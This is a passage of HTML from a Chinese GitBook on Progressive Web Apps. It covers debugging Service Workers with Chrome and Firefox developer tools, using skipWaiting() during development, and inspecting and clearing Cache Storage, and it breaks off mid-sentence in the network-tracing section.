data-path=\"../chapter09/4-preload-pwa.html\">\n            \n                <a href=\"../chapter09/4-preload-pwa.html\">\n            \n                    \n                    9.4 AMP/MIP 预加载 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11\" data-path=\"../appendix01.html\">\n            \n                <a href=\"../appendix01.html\">\n            \n                    \n                    附录1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.11.1\" data-path=\"../appendix01/1-lighthouse.html\">\n            \n                <a href=\"../appendix01/1-lighthouse.html\">\n            \n                    \n                    1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.2\" data-path=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                <a href=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                    \n                    2 Lighthouse 评分指南\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.3\" data-path=\"../appendix01/3-lighthouse-case.html\">\n            \n                <a href=\"../appendix01/3-lighthouse-case.html\">\n            \n                    \n                    3 Lighthouse 使用案例\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.12\" data-path=\"../thanks.html\">\n            \n                <a href=\"../thanks.html\">\n            \n                    \n                    感谢\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n    \n\n    <li class=\"divider\"></li>\n\n    <li>\n        <a href=\"https://www.gitbook.com\" target=\"blank\" class=\"gitbook-link\">\n            本书使用 GitBook 发布\n        </a>\n    </li>\n</ul>\n\n\n                </nav>\n            \n        \n    </div>\n\n    <div class=\"book-body\">\n        \n            <div class=\"body-inner\">\n                \n                    \n\n<div class=\"book-header\" role=\"navigation\">\n    \n\n    <!-- Title -->\n    <h1>\n        <i class=\"fa fa-circle-o-notch fa-spin\"></i>\n        <a href=\"..\" >4.4 Service Worker 调试</a>\n    </h1>\n</div>\n\n\n\n\n                    <div class=\"page-wrapper\" tabindex=\"-1\" role=\"main\">\n                        <div class=\"page-inner\">\n                            \n<div class=\"search-plus\" id=\"book-search-results\">\n    <div class=\"search-noresults\">\n    \n                                <section class=\"normal markdown-section\">\n                                \n                                <div id=\"anchor-navigation-ex-navbar\"><i class=\"fa fa-navicon\"></i><ul><li><span class=\"title-icon \"></span><a href=\"#service-worker-&#x8C03;&#x8BD5;\"><b></b>Service Worker &#x8C03;&#x8BD5;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#debug-&#x73AF;&#x5883;&#x4E0B;&#x7684;&#x5F00;&#x53D1;&#x8DF3;&#x8FC7;&#x7B49;&#x5F85;&#x72B6;&#x6001;\"><b></b>debug &#x73AF;&#x5883;&#x4E0B;&#x7684;&#x5F00;&#x53D1;&#x8DF3;&#x8FC7;&#x7B49;&#x5F85;&#x72B6;&#x6001;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x501F;&#x52A9;-chrome-devtool-&#x8FDB;&#x884C;&#x8C03;&#x8BD5;\"><b></b>&#x501F;&#x52A9; Chrome Devtool &#x8FDB;&#x884C;&#x8C03;&#x8BD5;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x67E5;&#x770B;-service-worker-&#x7F13;&#x5B58;&#x5185;&#x5BB9;\"><b></b>&#x67E5;&#x770B; Service Worker &#x7F13;&#x5B58;&#x5185;&#x5BB9;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x7F51;&#x7EDC;&#x8DDF;&#x8E2A;\"><b></b>&#x7F51;&#x7EDC;&#x8DDF;&#x8E2A;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x771F;&#x673A;&#x8C03;&#x8BD5;\"><b></b>&#x771F;&#x673A;&#x8C03;&#x8BD5;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#android-inspect-&#x8FDC;&#x7A0B;&#x8C03;&#x8BD5;\"><b></b>Android inspect &#x8FDC;&#x7A0B;&#x8C03;&#x8BD5;</a></li><li><span class=\"title-icon \"></span><a href=\"#ios-&#x8FDC;&#x7A0B;&#x771F;&#x673A;&#x8C03;&#x8BD5;\"><b></b>iOS &#x8FDC;&#x7A0B;&#x771F;&#x673A;&#x8C03;&#x8BD5;</a></li></ul></ul></ul></div><a href=\"#service-worker-&#x8C03;&#x8BD5;\" id=\"anchorNavigationExGoTop\"><i class=\"fa fa-arrow-up\"></i></a><h1 id=\"service-worker-&#x8C03;&#x8BD5;\"><a name=\"service-worker-&#x8C03;&#x8BD5;\" class=\"anchor-navigation-ex-anchor\" href=\"#service-worker-&#x8C03;&#x8BD5;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"service-worker-&#x8C03;&#x8BD5;\" class=\"plugin-anchor\" href=\"#service-worker-&#x8C03;&#x8BD5;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Service Worker &#x8C03;&#x8BD5;</h1>\n<p>&#x5728;&#x5F00;&#x53D1; Service Worker &#x6587;&#x4EF6;&#x7684;&#x8FC7;&#x7A0B;&#x4E2D;&#xFF0C;&#x5982;&#x4F55;&#x8C03;&#x8BD5;&#x5462;&#xFF1F;&#x600E;&#x4E48;&#x624D;&#x80FD;&#x786E;&#x4FDD;&#x7EBF;&#x4E0B;&#x5F00;&#x53D1;&#x7684; Service Worker &#x6587;&#x4EF6;&#x5728;&#x7ECF;&#x8FC7;&#x6CE8;&#x518C;&#x540E;&#x5230;&#x7EBF;&#x4E0A;&#x53BB;&#x8FD0;&#x884C;&#x662F;&#x7B26;&#x5408;&#x9884;&#x671F;&#x7684;&#x5462;&#xFF1F;&#x5728;&#x8FD9;&#x5C0F;&#x8282;&#x4E2D;&#x5C06;&#x8BE6;&#x7EC6;&#x4ECB;&#x7ECD;&#x5982;&#x4F55;&#x8C03;&#x8BD5; Service Worker&#x3002;</p>\n<p>Service Worker &#x4F5C;&#x4E3A;&#x72EC;&#x7ACB;&#x4E8E;&#x4E3B;&#x7EBF;&#x7A0B;&#x7684;&#x72EC;&#x7ACB;&#x7EBF;&#x7A0B;&#xFF0C;&#x5728;&#x8C03;&#x8BD5;&#x65B9;&#x9762;&#x5176;&#x5B9E;&#x548C;&#x5E38;&#x89C4;&#x7684; JavaScript &#x5F00;&#x53D1;&#x7C7B;&#x4F3C;&#xFF0C;&#x901A;&#x5E38;&#x5F00;&#x53D1;&#x8005;&#x5173;&#x6CE8;&#x7684;&#x70B9;&#x5927;&#x6982;&#x6709;&#x5982;&#x4E0B;&#x51E0;&#x70B9;&#xFF1A;</p>\n<ul>\n<li>Service Worker &#x6587;&#x4EF6; JavaScript &#x4EE3;&#x7801;&#x662F;&#x5426;&#x6709;&#x62A5;&#x9519;&#x3002;</li>\n<li>Service Worker &#x80FD;&#x5426;&#x987A;&#x5229;&#x5B89;&#x88C5;&#x3001;&#x6FC0;&#x6D3B;&#x6216;&#x8005;&#x66F4;&#x65B0;&#x3002;</li>\n<li>&#x5728;&#x4E0D;&#x540C;&#x673A;&#x578B;&#x4E0A;&#x7684;&#x517C;&#x5BB9;&#x6027;&#x662F;&#x4E0D;&#x662F;&#x6709;&#x95EE;&#x9898;&#x3002;</li>\n<li>&#x4E0D;&#x540C;&#x7C7B;&#x578B;&#x8D44;&#x6E90;&#x548C;&#x8BF7;&#x6C42;&#x7684;&#x7F13;&#x5B58;&#x7B56;&#x7565;&#x7684;&#x9A8C;&#x8BC1;&#x3002;</li>\n</ul>\n<h2 id=\"debug-&#x73AF;&#x5883;&#x4E0B;&#x7684;&#x5F00;&#x53D1;&#x8DF3;&#x8FC7;&#x7B49;&#x5F85;&#x72B6;&#x6001;\"><a name=\"debug-&#x73AF;&#x5883;&#x4E0B;&#x7684;&#x5F00;&#x53D1;&#x8DF3;&#x8FC7;&#x7B49;&#x5F85;&#x72B6;&#x6001;\" class=\"anchor-navigation-ex-anchor\" href=\"#debug-&#x73AF;&#x5883;&#x4E0B;&#x7684;&#x5F00;&#x53D1;&#x8DF3;&#x8FC7;&#x7B49;&#x5F85;&#x72B6;&#x6001;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"debug-&#x73AF;&#x5883;&#x4E0B;&#x7684;&#x5F00;&#x53D1;&#x8DF3;&#x8FC7;&#x7B49;&#x5F85;&#x72B6;&#x6001;\" class=\"plugin-anchor\" href=\"#debug-&#x73AF;&#x5883;&#x4E0B;&#x7684;&#x5F00;&#x53D1;&#x8DF3;&#x8FC7;&#x7B49;&#x5F85;&#x72B6;&#x6001;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>debug &#x73AF;&#x5883;&#x4E0B;&#x7684;&#x5F00;&#x53D1;&#x8DF3;&#x8FC7;&#x7B49;&#x5F85;&#x72B6;&#x6001;</h2>\n<p>&#x6839;&#x636E; Service Worker &#x751F;&#x547D;&#x5468;&#x671F;&#x7684;&#x7279;&#x6027;&#xFF0C;&#x5982;&#x679C;&#x6D4F;&#x89C8;&#x5668;&#x8FD8;&#x5728;&#x4F7F;&#x7528;&#x65E7;&#x7684; Service Worker &#x7248;&#x672C;&#xFF0C;&#x5373;&#x4F7F;&#x6709; Service Worker &#x65B0;&#x7684;&#x7248;&#x672C;&#x4E5F;&#x4E0D;&#x4F1A;&#x7ACB;&#x5373;&#x88AB;&#x6D4F;&#x89C8;&#x5668;&#x6FC0;&#x6D3B;&#xFF0C;&#x53EA;&#x80FD;&#x8FDB;&#x884C;&#x5B89;&#x88C5;&#x5E76;&#x8FDB;&#x5165;&#x7B49;&#x5F85;&#x72B6;&#x6001;&#xFF0C;&#x76F4;&#x5230;&#x6D4F;&#x89C8;&#x5668; Tab &#x6807;&#x7B7E;&#x88AB;&#x91CD;&#x65B0;&#x5173;&#x95ED;&#x6253;&#x5F00;&#x3002;</p>\n<p>&#x5728;&#x5F00;&#x53D1;&#x8C03;&#x8BD5; Service Worker &#x65F6;&#xFF0C;&#x80AF;&#x5B9A;&#x5E0C;&#x671B;&#x91CD;&#x65B0;&#x52A0;&#x8F7D;&#x540E;&#x7ACB;&#x5373;&#x6FC0;&#x6D3B;&#xFF0C;&#x901A;&#x5E38;&#x5F00;&#x53D1;&#x8005;&#x4E0D;&#x5E0C;&#x671B;&#x6BCF;&#x6B21;&#x90FD;&#x91CD;&#x65B0;&#x6253;&#x5F00;&#x5F53;&#x524D;&#x9875;&#x9762;&#x8C03;&#x8BD5;&#xFF0C;&#x4E3A;&#x6B64;&#x53EF;&#x4EE5;&#x5728; <code>install</code> &#x4E8B;&#x4EF6;&#x53D1;&#x751F;&#x65F6;&#x901A;&#x8FC7; <code>skipWaiting()</code> &#x6765;&#x8DF3;&#x8FC7; Service Worker &#x7684; waiting &#x72B6;&#x6001;&#x3002;&#x8FD9;&#x6837;&#x6BCF;&#x6B21; Service Worker &#x5B89;&#x88C5;&#x540E;&#x5C31;&#x4F1A;&#x88AB;&#x7ACB;&#x5373;&#x6FC0;&#x6D3B;&#xFF0C;&#x901A;&#x5E38;&#x5728; <code>sw.js</code> &#x4E2D;&#x5B9E;&#x73B0;&#x5982;&#x4E0B;&#x4EE3;&#x7801;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\">self<span class=\"token punctuation\">.</span><span class=\"token function\">addEventListener</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;install&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token constant\">ENV</span> <span class=\"token operator\">===</span> <span class=\"token string\">&apos;development&apos;</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    self<span class=\"token punctuation\">.</span><span class=\"token function\">skipWaiting</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<h2 id=\"&#x501F;&#x52A9;-chrome-devtool-&#x8FDB;&#x884C;&#x8C03;&#x8BD5;\"><a name=\"&#x501F;&#x52A9;-chrome-devtool-&#x8FDB;&#x884C;&#x8C03;&#x8BD5;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x501F;&#x52A9;-chrome-devtool-&#x8FDB;&#x884C;&#x8C03;&#x8BD5;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x501F;&#x52A9;-chrome-devtool-&#x8FDB;&#x884C;&#x8C03;&#x8BD5;\" class=\"plugin-anchor\" href=\"#&#x501F;&#x52A9;-chrome-devtool-&#x8FDB;&#x884C;&#x8C03;&#x8BD5;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x501F;&#x52A9; Chrome Devtool &#x8FDB;&#x884C;&#x8C03;&#x8BD5;</h2>\n<p>&#x4F7F;&#x7528; Chrome &#x6D4F;&#x89C8;&#x5668;&#xFF0C;&#x53EF;&#x4EE5;&#x901A;&#x8FC7;&#x8FDB;&#x5165;&#x63A7;&#x5236;&#x53F0; <code>Application -&gt; Service Workers</code> &#x9762;&#x677F;&#x67E5;&#x770B;&#x548C;&#x8C03;&#x8BD5;&#x3002;&#x5176;&#x6548;&#x679C;&#x5982;&#x4E0B;&#x56FE;&#x6240;&#x793A;&#xFF1A;</p>\n<p><img src=\"img/chrome_debug.png\" alt=\"Chrome Devtools Service Worker &#x8C03;&#x8BD5;&#x9762;&#x677F;\"></p>\n<p>&#x5982;&#x679C; Service Worker &#x7EBF;&#x7A0B;&#x5DF2;&#x5B89;&#x88C5;&#x5230;&#x5F53;&#x524D;&#x6253;&#x5F00;&#x7684;&#x9875;&#x9762;&#x4E0A;&#xFF0C;&#x63A5;&#x4E0B;&#x6765;&#x4F1A;&#x770B;&#x5230;&#x5B83;&#x5C06;&#x5217;&#x793A;&#x5728;&#x6B64;&#x7A97;&#x683C;&#x4E2D;&#x3002;&#x4F8B;&#x5982;&#xFF1A;&#x5728;&#x4E0A;&#x56FE;&#x4E2D;&#xFF0C;&#x5C55;&#x793A;&#x7684;&#x662F;&#x5728; <code>https://lavas-project.github.io/lavas-demo/news-v2/#/</code> &#x7684;&#x4F5C;&#x7528;&#x57DF;&#x5185;&#x5B89;&#x88C5;&#x4E86;&#x4E00;&#x4E2A; Service Worker &#x7EBF;&#x7A0B;&#x3002;</p>\n<p>&#x4E3A;&#x4E86;&#x66F4;&#x719F;&#x7EC3;&#x7684;&#x8FD0;&#x7528; Chrome Devtools &#x8C03;&#x8BD5; Service Worker&#xFF0C;&#x9996;&#x5148;&#x9700;&#x8981;&#x719F;&#x6089;&#x4EE5;&#x4E0B;&#x8FD9;&#x4E9B;&#x9009;&#x9879;&#xFF1A;</p>\n<ul>\n<li><p><strong>Offline</strong>&#xFF1A; &#x590D;&#x9009;&#x6846;&#x53EF;&#x4EE5;&#x5C06; DevTools &#x5207;&#x6362;&#x81F3;&#x79BB;&#x7EBF;&#x6A21;&#x5F0F;&#x3002;&#x5B83;&#x7B49;&#x540C;&#x4E8E; Network &#x7A97;&#x683C;&#x4E2D;&#x7684;&#x79BB;&#x7EBF;&#x6A21;&#x5F0F;&#x3002;</p>\n</li>\n<li><p><strong>Update on reload</strong>&#xFF1A;&#x590D;&#x9009;&#x6846;&#x53EF;&#x4EE5;&#x5F3A;&#x5236; Service Worker &#x7EBF;&#x7A0B;&#x5728;&#x6BCF;&#x6B21;&#x9875;&#x9762;&#x52A0;&#x8F7D;&#x65F6;&#x66F4;&#x65B0;&#x3002;</p>\n</li>\n<li><p><strong>Bypass for network</strong>&#xFF1A;&#x590D;&#x9009;&#x6846;&#x53EF;&#x4EE5;&#x7ED5;&#x8FC7; Service Worker &#x7EBF;&#x7A0B;&#x5E76;&#x5F3A;&#x5236;&#x6D4F;&#x89C8;&#x5668;&#x8F6C;&#x81F3;&#x7F51;&#x7EDC;&#x5BFB;&#x627E;&#x8BF7;&#x6C42;&#x7684;&#x8D44;&#x6E90;&#x3002;</p>\n</li>\n<li><p><strong>Update</strong>&#xFF1A;&#x6309;&#x94AE;&#x53EF;&#x4EE5;&#x5BF9;&#x6307;&#x5B9A;&#x7684; Service Worker &#x7EBF;&#x7A0B;&#x6267;&#x884C;&#x4E00;&#x6B21;&#x6027;&#x66F4;&#x65B0;&#x3002;</p>\n</li>\n<li><p><strong>Push</strong>&#xFF1A;&#x6309;&#x94AE;&#x53EF;&#x4EE5;&#x5728;&#x6CA1;&#x6709;&#x8D1F;&#x8F7D;&#x7684;&#x60C5;&#x51B5;&#x4E0B;&#x6A21;&#x62DF;&#x63A8;&#x9001;&#x901A;&#x77E5;&#x3002;</p>\n</li>\n<li><p><strong>Sync</strong>&#xFF1A;&#x6309;&#x94AE;&#x53EF;&#x4EE5;&#x6A21;&#x62DF;&#x540E;&#x53F0;&#x540C;&#x6B65;&#x4E8B;&#x4EF6;&#x3002;</p>\n</li>\n<li><p><strong>Unregister</strong>&#xFF1A;&#x6309;&#x94AE;&#x53EF;&#x4EE5;&#x6CE8;&#x9500;&#x6307;&#x5B9A;&#x7684; Service Worker &#x7EBF;&#x7A0B;&#x3002;</p>\n</li>\n<li><p><strong>Source</strong>&#xFF1A;&#x544A;&#x8BC9;&#x5F53;&#x524D;&#x6B63;&#x5728;&#x8FD0;&#x884C;&#x7684; Service Worker &#x7EBF;&#x7A0B;&#x7684;&#x5B89;&#x88C5;&#x65F6;&#x95F4;&#xFF0C;&#x94FE;&#x63A5;&#x662F; Service Worker &#x7EBF;&#x7A0B;&#x6E90;&#x6587;&#x4EF6;&#x7684;&#x540D;&#x79F0;&#x3002;&#x70B9;&#x51FB;&#x94FE;&#x63A5;&#x4F1A;&#x5C06;&#x5B9A;&#x5411;&#x5E76;&#x8DF3;&#x8F6C;&#x81F3; Service Worker &#x7EBF;&#x7A0B;&#x6765;&#x6E90;&#x3002;</p>\n</li>\n<li><p><strong>Status</strong>&#xFF1A;&#x544A;&#x8BC9; Service Worker &#x7EBF;&#x7A0B;&#x7684;&#x72B6;&#x6001;&#x3002;&#x6B64;&#x884C;&#x4E0A;&#x7684;&#x6570;&#x5B57;&#x6307;&#x793A; Service Worker &#x7EBF;&#x7A0B;&#x5DF2;&#x88AB;&#x66F4;&#x65B0;&#x7684;&#x6B21;&#x6570;&#x3002;&#x5982;&#x679C;&#x542F;&#x7528; <code>update on reload</code> &#x590D;&#x9009;&#x6846;&#xFF0C;&#x63A5;&#x4E0B;&#x6765;&#x4F1A;&#x6CE8;&#x610F;&#x5230;&#x6BCF;&#x6B21;&#x9875;&#x9762;&#x52A0;&#x8F7D;&#x65F6;&#x6B64;&#x6570;&#x5B57;&#x90FD;&#x4F1A;&#x589E;&#x5927;&#x3002;&#x5728;&#x72B6;&#x6001;&#x65C1;&#x8FB9;&#x4F1A;&#x770B;&#x5230; <code>start</code> &#x6309;&#x94AE;&#xFF08;&#x5982;&#x679C; Service Worker &#x7EBF;&#x7A0B;&#x5DF2;&#x505C;&#x6B62;&#xFF09;&#x6216; <code>stop</code> &#x6309;&#x94AE;&#xFF08;&#x5982;&#x679C; Service Worker &#x7EBF;&#x7A0B;&#x6B63;&#x5728;&#x8FD0;&#x884C;&#xFF09;&#x3002;Service Worker &#x7EBF;&#x7A0B;&#x8BBE;&#x8BA1;&#x4E3A;&#x53EF;&#x7531;&#x6D4F;&#x89C8;&#x5668;&#x968F;&#x65F6;&#x505C;&#x6B62;&#x548C;&#x542F;&#x52A8;&#x3002; &#x4F7F;&#x7528; stop &#x6309;&#x94AE;&#x660E;&#x786E;&#x505C;&#x6B62; Service Worker &#x7EBF;&#x7A0B;&#x53EF;&#x4EE5;&#x6A21;&#x62DF;&#x8FD9;&#x4E00;&#x70B9;&#x3002;&#x505C;&#x6B62; Service Worker &#x7EBF;&#x7A0B;&#x662F;&#x6D4B;&#x8BD5; Service Worker &#x7EBF;&#x7A0B;&#x518D;&#x6B21;&#x91CD;&#x65B0;&#x542F;&#x52A8;&#x65F6;&#x7684;&#x4EE3;&#x7801;&#x884C;&#x4E3A;&#x65B9;&#x5F0F;&#x7684;&#x7EDD;&#x4F73;&#x65B9;&#x6CD5;&#x3002;&#x5B83;&#x901A;&#x5E38;&#x53EF;&#x4EE5;&#x63ED;&#x793A;&#x7531;&#x4E8E;&#x5BF9;&#x6301;&#x7EED;&#x5168;&#x5C40;&#x72B6;&#x6001;&#x7684;&#x4E0D;&#x5B8C;&#x5584;&#x5047;&#x8BBE;&#x800C;&#x5F15;&#x53D1;&#x7684;&#x9519;&#x8BEF;&#x3002;</p>\n</li>\n<li><p><strong>Clients</strong>&#xFF1A;&#x544A;&#x8BC9; Service Worker &#x7EBF;&#x7A0B;&#x4F5C;&#x7528;&#x57DF;&#x7684;&#x539F;&#x70B9;&#x3002;&#x5982;&#x679C;&#x5DF2;&#x542F;&#x7528; <code>show all</code> &#x590D;&#x9009;&#x6846;&#xFF0C;<code>focus</code> &#x6309;&#x94AE;&#x5C06;&#x975E;&#x5E38;&#x5B9E;&#x7528;&#x3002; &#x5728;&#x6B64;&#x590D;&#x9009;&#x6846;&#x542F;&#x7528;&#x65F6;&#xFF0C;&#x7CFB;&#x7EDF;&#x4F1A;&#x5217;&#x51FA;&#x6240;&#x6709;&#x6CE8;&#x518C;&#x7684; Service Worker &#x7EBF;&#x7A0B;&#x3002;&#x5982;&#x679C;&#x8FD9;&#x65F6;&#x5019;&#x70B9;&#x51FB;&#x6B63;&#x5728;&#x4E0D;&#x540C;&#x6807;&#x7B7E;&#x4E2D;&#x8FD0;&#x884C;&#x7684; Service Worker &#x7EBF;&#x7A0B;&#x65C1;&#x7684; <code>focus</code> &#x6309;&#x94AE;&#xFF0C;Chrome &#x4F1A;&#x805A;&#x7126;&#x5230;&#x8BE5;&#x6807;&#x7B7E;&#x3002;</p>\n</li>\n</ul>\n<p>&#x5982;&#x679C; Service Worker &#x6587;&#x4EF6;&#x5728;&#x8FD0;&#x884C;&#x8FC7;&#x7A0B;&#x4E2D;&#x51FA;&#x73B0;&#x4E86;&#x4EFB;&#x4F55;&#x7684;&#x9519;&#x8BEF;&#xFF0C;&#x5C06;&#x663E;&#x793A;&#x4E00;&#x4E2A; <code>Error</code> &#x65B0;&#x6807;&#x7B7E;&#xFF0C;&#x5982;&#x4E0B;&#x56FE;&#x6240;&#x793A;&#x3002;</p>\n<p><img src=\"img/chrome_debug_error.png\" alt=\"Chrome Devtools &#x4E2D;&#x7684; Service Worker &#x62A5;&#x9519;&#x4FE1;&#x606F;\"></p>\n<p>&#x5F53;&#x7136;&#x4E5F;&#x53EF;&#x4EE5;&#x76F4;&#x63A5;&#x8BBF;&#x95EE; <code>Chrome://serviceworker-internals</code> &#x6765;&#x6253;&#x5F00; serviceWorker &#x7684;&#x914D;&#x7F6E;&#x9762;&#x677F;&#xFF0C;&#x67E5;&#x770B;&#x6240;&#x6709;&#x6CE8;&#x518C;&#x7684; Service Worker &#x60C5;&#x51B5;&#x3002;</p>\n<blockquote>\n<p>&#x6CE8;&#x610F;&#xFF1A;\n&#x5982;&#x65E0;&#x5FC5;&#x8981;&#xFF0C;&#x4E0D;&#x8981;&#x9009;&#x4E2D;&#x9876;&#x90E8;&#x7684; <code>Open DevTools window and pause javaScript execution on Service Worker startup for debugging</code> &#x590D;&#x9009;&#x6846;&#xFF0C;&#x5426;&#x5219;&#x6BCF;&#x5F53;&#x5237;&#x65B0;&#x9875;&#x9762;&#x8C03;&#x8BD5;&#x65F6;&#x90FD;&#x4F1A;&#x5F39;&#x51FA;&#x4E00;&#x4E2A;&#x5F00;&#x53D1;&#x8005;&#x7A97;&#x53E3;&#x6765;&#x3002;</p>\n</blockquote>\n<p>&#x5728; Firefox &#x4E2D;&#xFF0C;&#x53EF;&#x4EE5;&#x901A;&#x8FC7; <code>Tools -&gt; Web Developer -&gt; Service Workers</code> &#x6253;&#x5F00;&#x8C03;&#x8BD5;&#x9762;&#x677F;&#x3002;&#x4E5F;&#x53EF;&#x4EE5;&#x8BBF;&#x95EE; <code>about:debugging#workers</code> &#x76F4;&#x63A5;&#x8FDB;&#x5165;&#x8BE5;&#x9762;&#x677F;&#x3002;</p>\n<h2 id=\"&#x67E5;&#x770B;-service-worker-&#x7F13;&#x5B58;&#x5185;&#x5BB9;\"><a name=\"&#x67E5;&#x770B;-service-worker-&#x7F13;&#x5B58;&#x5185;&#x5BB9;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x67E5;&#x770B;-service-worker-&#x7F13;&#x5B58;&#x5185;&#x5BB9;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x67E5;&#x770B;-service-worker-&#x7F13;&#x5B58;&#x5185;&#x5BB9;\" class=\"plugin-anchor\" href=\"#&#x67E5;&#x770B;-service-worker-&#x7F13;&#x5B58;&#x5185;&#x5BB9;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x67E5;&#x770B; Service Worker &#x7F13;&#x5B58;&#x5185;&#x5BB9;</h2>\n<p>&#x901A;&#x8FC7;&#x524D;&#x9762;&#x7684;&#x7AE0;&#x8282;&#x5DF2;&#x7ECF;&#x4E86;&#x89E3;&#x8FC7;&#xFF0C;Service Worker &#x4F7F;&#x7528; Cache API &#x8FDB;&#x884C;&#x7F13;&#x5B58;&#x7684;&#x8BFB;&#x5199;&#xFF0C;&#x540C;&#x6837;&#x53EF;&#x4EE5;&#x5728; Chrome DevTools &#x4E0A;&#x67E5;&#x770B;&#x7F13;&#x5B58;&#x7684;&#x8D44;&#x6E90;&#x5217;&#x8868;&#x3002;</p>\n<p>Cache Storage &#x9009;&#x9879;&#x5361;&#x63D0;&#x4F9B;&#x4E86;&#x4E00;&#x4E2A;&#x5DF2;&#x4F7F;&#x7528;&#xFF08;Service Worker &#x7EBF;&#x7A0B;&#xFF09;Cache API &#x7F13;&#x5B58;&#x7684;&#x53EA;&#x8BFB;&#x8D44;&#x6E90;&#x5217;&#x8868;&#xFF0C;&#x5982;&#x4E0B;&#x56FE;&#x6240;&#x793A;&#x3002;</p>\n<p><img src=\"img/sw_cache.png\" alt=\"Chrome Devtools &#x4E2D;&#x5C55;&#x793A;&#x7684;&#x7F13;&#x5B58;&#x5217;&#x8868;\"></p>\n<p>&#x5982;&#x679C;&#x6253;&#x5F00;&#x4E86;&#x4E24;&#x4E2A;&#x6216;&#x591A;&#x4E2A;&#x7F13;&#x5B58;&#xFF0C;&#x90A3;&#x5728; Application &#x6807;&#x7B7E;&#x4E0B;&#x7684; Caches &#x9762;&#x677F;&#x5C06;&#x770B;&#x5230;&#x5B83;&#x4EEC;&#x4F1A;&#x9648;&#x5217;&#x5728; Cache Storage &#x4E0B;&#x62C9;&#x83DC;&#x5355;&#x4E0B;&#x65B9;&#xFF0C;&#x5982;&#x4E0B;&#x56FE;&#x6240;&#x793A;&#x3002;</p>\n<p><img src=\"img/multiple_caches.png\" alt=\"Chrome Devtools  &#x4E2D;&#x5C55;&#x793A;&#x591A;&#x4E2A;&#x7F13;&#x5B58;&#x5217;&#x8868;\"></p>\n<p>&#x5F53;&#x7136;&#xFF0C;Cache Storage &#x63D0;&#x4F9B;&#x6E05;&#x9664; Cache &#x5217;&#x8868;&#x7684;&#x529F;&#x80FD;&#xFF0C;&#x5728;&#x9009;&#x62E9; <code>Cache Storage</code> &#x9009;&#x9879;&#x5361;&#x540E;&#x5728; Cache Storge &#x7F13;&#x5B58;&#x7684; key &#x7684; item &#x4E0A;&#x53F3;&#x952E;&#x70B9;&#x51FB;&#x51FA;&#x73B0; <code>delete</code> &#xFF0C;&#x70B9;&#x51FB; <code>delete</code> &#x5C31;&#x53EF;&#x4EE5;&#x6E05;&#x9664;&#x8BE5;&#x7F13;&#x5B58;&#x4E86;&#xFF0C;&#x5982;&#x4E0B;&#x56FE;&#x6240;&#x793A;&#x3002;</p>\n<p><img src=\"img/clear_caches.png\" alt=\"Chrome Devtools &#x4E2D;&#x6E05;&#x695A;&#x7F13;&#x5B58;&#x5185;&#x5BB9;\"></p>\n<p>&#x4E5F;&#x53EF;&#x4EE5;&#x9009;&#x62E9; <code>Clear Storage</code> &#x9009;&#x9879;&#x5361;&#x8FDB;&#x884C;&#x6E05;&#x9664;&#x7F13;&#x5B58;&#x3002;</p>\n<h2 id=\"&#x7F51;&#x7EDC;&#x8DDF;&#x8E2A;\"><a name=\"&#x7F51;&#x7EDC;&#x8DDF;&#x8E2A;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x7F51;&#x7EDC;&#x8DDF;&#x8E2A;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x7F51;&#x7EDC;&#x8DDF;&#x8E2A;\" class=\"plugin-anchor\" href=\"#&#x7F51;&#x7EDC;&#x8DDF;&#x8E2A;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x7F51;&#x7EDC;&#x8DDF;&#x8E2A;</h2>\n<p>&#x6B64;&#x5916;&#x7ECF;&#x8FC7; Service Worker &#x7684; <code>fetch</code> &#x8BF7;&#x6C42; Chrome &#x90FD;&#x4F1A;&#x5728; Chrome DevTools Network &#x6807;&#x7B7E;&#x9875;&#x91CC;&#x6807;&#x6CE8;&#x51FA;&#x6765;&#xFF0C;&#x5176;&#x4E2D;&#xFF1A;</p>\n<ul>\n<li>&#x6765;&#x81EA; Service Worker &#x7684;&#x5185;&#x5BB9;&#x4F1A;&#x5728; Size &#x5B57;&#x6BB5;&#x4E2D;&#x6807;&#x6CE8;&#x4E3A; <code>from 